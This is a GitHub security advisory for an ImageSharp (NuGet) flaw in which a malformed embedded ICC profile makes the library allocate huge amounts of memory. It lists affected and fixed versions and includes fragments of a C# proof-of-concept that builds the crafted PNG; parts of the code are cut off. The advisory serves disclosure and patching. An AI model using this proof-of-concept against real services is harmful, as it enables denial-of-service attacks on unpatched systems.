GitHub Advisoryadvisory · NuGet
GHSA-gwg2-r3hj-4w44 ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions
MEDIUM
Official page ↗
- Aliases
- CVE-2026-106114
- Ecosystem
- NuGet
- Packages
- SixLabors.ImageSharp
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-789
- Reviewed
- 2026-10-07
Affected packages
• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2
• NuGet SixLabors.ImageSharp: >= 1.0.0-beta0001, < 3.2.0 → fixed in 3.2.0
Description
Summary
A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.
In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.
Affected package and versions
• Package: `SixLabors.ImageSharp` (NuGet)
• Affected range: `>= 1.0.0-beta0001, = 4.0.0, BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);
private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);
private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i (1, 1);
image.Metadata.IccProfile = new IccProfile(icc);
using var output = new MemoryStream();
image.Save(output, new PngEncoder());
return output.ToArray();
}
public static int Main(string[] args)
{
string mode = args.Length == 1 ? args[0] : "exploit";
if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}");
Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute()?.InformationalVersion}");
long before = GC.GetTotalAllocatedBytes(true);
try
{
byte[] png = BuildPng(BuildTruncatedProfile());
var options = new DecoderOptions
{
ColorProfileHandling = …
Related
Alias · CVE (1)
- CVE-2026-106114 ImageSharp is a 2D graphics library. vulnerability
Weakness · CWE (1)
- CWE-789 Memory Allocation with Excessive Size Value weakness
References
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-gwg2-r3hj-4w44 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-106114 advisory
- https://github.com/SixLabors/ImageSharp/pull/3187 web
- https://github.com/SixLabors/ImageSharp/pull/3208 web
- https://github.com/SixLabors/ImageSharp/commit/8de892a7623aa8a09ba2333b624c8d2eb98325df web
- https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019 web
- https://github.com/SixLabors/ImageSharp package
- https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0 web
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2 web